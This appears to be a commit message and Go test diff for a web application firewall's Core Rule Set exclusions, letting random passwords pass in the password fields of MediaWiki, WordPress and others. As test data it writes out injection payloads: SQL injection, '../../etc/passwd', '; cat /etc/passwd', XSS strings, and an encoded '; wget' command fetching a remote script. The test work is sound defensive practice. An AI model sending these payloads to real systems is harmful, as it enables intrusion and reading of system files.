Core Rule Set: random passwords pass at sign-in (closes #276)

A password manager's random password set off 35 Core Rule Set rules,
about 1 in 40 refused. The password fields the app exclusions name now
skip those rules on their paths: WordPress pwd, Drupal pass, MediaWiki
wpPassword, lgpassword and password, Mastodon's sign-in, sign-up,
password change, move and delete passwords, and Nextcloud's sign-in
password. The tests draw 2,000 random passwords from a fixed seed, plus
one rare password for each rule the 2,000 do not set off. Those that set
off a rule in a field no exclusion names are sent to every password
field. `' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and
`<img src=x onerror=x()>` sent as a password now pass;
`<script>alert(1)</script>` and `javascript:alert(1)` are still refused.

Model: opus-5-5

internal/coreruleset/mediawiki_test.go

@@ -3,6 +3,7 @@ package coreruleset_test
 import (
 	"net/http"
 	"slices"
+	"strings"
 	"testing"
 )
 
@@ -49,9 +50,9 @@ func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
 }
 
 // mediawikiQueryFields and mediawikiBodyFields together hold every field that
-// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and
-// the JSON fields of /rest.php/. mediawikiQueryFields sends each in the query, on a
-// path where it skips them, ending in "=".
+// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles,
+// the passwords and the JSON fields of /rest.php/. mediawikiQueryFields sends
+// each in the query, on a path where it skips them, ending in "=".
 //
 //nolint:gochecknoglobals // a constant cannot be a list
 var mediawikiQueryFields = []string{
@@ -136,9 +137,9 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) {
 type mediawikiBodyField struct{ target, field string }
 
 // mediawikiBodyFields and mediawikiQueryFields together hold every field that
-// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and
-// the JSON fields of /rest.php/. mediawikiBodyFields sends each in a form data body, on
-// a path where it skips them.
+// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles,
+// the passwords and the JSON fields of /rest.php/. mediawikiBodyFields sends
+// each in a form data body, on a path where it skips them.
 //
 //nolint:gochecknoglobals // a constant cannot be a list
 var mediawikiBodyFields = []mediawikiBodyField{
@@ -146,13 +147,11 @@ var mediawikiBodyFields = []mediawikiBodyField{
 	{mediawikiUpload, "wpUploadDescription="},
 	{mediawikiUpload, "wpDestFile="},
 	{mediawikiSignIn, "wpName="},
-	{mediawikiSignIn, "wpPassword="},
 	{mediawikiMove, "wpOldTitle="},
 	{mediawikiMove, "wpNewTitleMain="},
 	{mediawikiMove, "wpReason="},
 	{mediawikiBlock, "wpTarget="},
 	{mediawikiSignInPage, "wpName="},
-	{"/w" + mediawikiSignInPage, "wpPassword="},
 	{mediawikiUploadPage, "wpDestFile="},
 	{"/w" + mediawikiUploadPage, "wpUploadDescription="},
 	{mediawikiAPI, "title="},
@@ -165,8 +164,18 @@ var mediawikiBodyFields = []mediawikiBodyField{
 	{mediawikiAPI, "reason="},
 	{mediawikiAPI, "user="},
 	{mediawikiAPI, "lgname="},
-	{mediawikiAPI, "lgpassword="},
 	{mediawikiAPI, "username="},
+}
+
+// mediawikiPasswordFields are the passwords, which skip the four rules and the
+// rules that random passwords set off. mediawikiPasswordFields sends each in a
+// form data body, on a path where it skips them.
+//
+//nolint:gochecknoglobals // a constant cannot be a list
+var mediawikiPasswordFields = []mediawikiBodyField{
+	{mediawikiSignIn, "wpPassword="},
+	{"/w" + mediawikiSignInPage, "wpPassword="},
+	{mediawikiAPI, "lgpassword="},
 	{mediawikiAPI, passwordField},
 }
 
@@ -233,6 +242,23 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
 	}
 }
 
+func TestMediaWikiPasswordsPass(t *testing.T) {
+	t.Parallel()
+
+	for _, sent := range mediawikiPasswordFields {
+		t.Run(sent.target+" "+sent.field, func(t *testing.T) {
+			t.Parallel()
+
+			r := request{http.MethodPost, sent.target, []string{formData}}
+			name := strings.TrimSuffix(sent.field, "=")
+
+			wantRandomPasswordsPass(t, r, name)
+			wantPasswordAttacksPass(t, r, name)
+			wantPasswordAttacksRefused(t, r, name)
+		})
+	}
+}
+
 // mediawikiCommandAttack is a shell command that only 932235 refuses on the
 // fields that skip the other command rules, as a query value.
 const mediawikiCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
@@ -253,7 +279,8 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
 
 	crs = readingBodies(t)
 
-	for _, sent := range slices.Concat(mediawikiBodyFields, mediawikiReasonFields) {
+	for _, sent := range slices.Concat(mediawikiBodyFields, mediawikiReasonFields,
+		mediawikiPasswordFields) {
 		r := request{http.MethodPost, sent.target, []string{formData}}
 
 		got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack)
@@ -311,8 +338,8 @@ func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
 			}
 		}
 
-		fields := append(append([]mediawikiBodyField{}, mediawikiBodyFields...),
-			mediawikiWikitextFields...)
+		fields := slices.Concat(mediawikiBodyFields, mediawikiWikitextFields,
+			mediawikiPasswordFields)
 
 		for _, sent := range fields {
 			r := request{http.MethodPost, sent.target, []string{formData}}